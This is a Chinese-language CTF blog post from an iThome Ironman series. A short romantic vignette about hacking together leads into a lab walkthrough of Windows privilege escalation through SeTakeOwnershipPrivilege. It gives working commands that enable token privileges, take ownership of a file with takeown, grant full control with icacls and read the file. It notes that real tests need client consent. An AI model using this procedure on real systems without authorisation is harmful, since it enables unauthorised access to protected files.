iT邦幫忙

2025 iThome 鐵人賽

DAY 7
0
Security

Hack the Boyfriend: 為了 CTF 帥哥,我貢獻了我的肝臟系列 第 7

當我們一起擁有檔案的那天:SeTakeOwnershipPrivilege

  • 分享至 

  • xImage
  •  

SeTakeOwnershipPrivilege 的片段


我有時候會想,如果哪天我們能並肩坐在同一張桌子前,一起打開電腦,玩一場名為「滲透」的解題遊戲,那該有多好。

你的螢幕上開著 PowerShell,我的螢幕是 cmd。

你敲下:

whoami /priv

側過頭來問我:「你覺得這個 SeTakeOwnershipPrivilege,能派上用場嗎?」

我笑著回你:「看情況吧,或許要先 enumerate 一下檔案的 ACL。」

我們就這樣互相拋著指令,我說 Get-Acl,你就回一個 takeown /f。

像一場沒有終點的對話,不是為了馬上提權,而是為了確認我們的語法能互相接續。

偶爾,我會偷看你螢幕右下角的時鐘,幻想時間能停在這個我們都在測試的瞬間。

那感覺就像是一個 PoC,沒有報告的結尾,也沒有「任務完成」的字樣...

只是一個持續連線的 session,平靜且美好。


技術筆記: SeTakeOwnershipPrivilege 利用流程

功能概念

  • SeTakeOwnershipPrivilege 允許使用者取得任何可保護物件(securable object)的擁有權,包含:AD 物件、NTFS 檔案 / 資料夾、Registry key、服務 (Services)、Processes。

  • 預設只有系統管理員擁有此權限。若標準使用者或服務帳號也擁有此權限,就可能被濫用進行提權。

利用條件

  • 帳號具備 SeTakeOwnershipPrivilege。

  • 權限狀態需啟用(Enabled),若是 Disabled 可用 PowerShell 腳本啟用:

可參考:https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1

PS C:\lab> Import-Module .\Enable-Privilege.ps1
PS C:\lab> .\EnableAllTokenPrivs.ps1
PS C:\lab> whoami /priv

攻擊流程

確認目標檔案或資料夾的擁有者

Get-ChildItem -Path "C:\lab\target.txt" | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

若無法查看,可能需先查看上層目錄的擁有者:

PS C:\lab> cmd /c dir /q 'C:\lab'

取得檔案擁有權

takeown /f "C:\lab\target.txt"

確認擁有者已變更

Get-ChildItem -Path "C:\lab\target.txt" | Select Name,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner}}

修改 ACL 取得讀取權限

可以透過剛才拿到的 Owner 相關資訊,把他填寫到 username 這:

icacls "C:\lab\target.txt" /grant <username>:F

讀取檔案內容

Get-Content "C:\lab\target.txt"

風險與注意事項

  • 取得擁有權可能影響原應用程式運作,須小心操作。

  • 在真實滲透測試中,需先取得客戶同意再執行。

  • 操作後需嘗試還原擁有權與 ACL,或在報告中註明變更。


小知識:Get-Acl 與 takeown 的差異

Get-Acl

用來查看檔案或資料夾的存取控制清單(ACL),包含擁有者、權限等資訊。
常用在 enumeration 階段,先確認當前使用者對目標物件的權限情況。

takeown

用來直接取得檔案或資料夾的擁有權,前提是擁有 SeTakeOwnershipPrivilege 權限。

takeown /F file.txt 只需要 Take Ownership NTFS 權限,不一定要提權到 UAC Elevated Prompt。

如果要把擁有者改成其他帳號(例如 Builtin\Administrators),就需要 SeRestorePrivilege,等同要提權。

takeown /A 與其他會更改擁有者的方式幾乎一致,在大多數情況下仍需提權。

補充

takeown(以及大多數 CMD 工具)對長路徑會失敗,而 PowerShell 可以用 extended-length path,例如:

Get-Acl -LiteralPath '\\?\C:\folder\file.txt'

小語

# 提權不知道第幾天了,但我心中的顯化 exploit 已經開始跑起來了。
# 真的好累XD 不能成為神,但應該可以成為神的弟子

上一篇
重讀那封情書之後
下一篇
我頭髮都要沒了,還是要學高冷男神的提權技巧
系列文
Hack the Boyfriend: 為了 CTF 帥哥,我貢獻了我的肝臟26
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言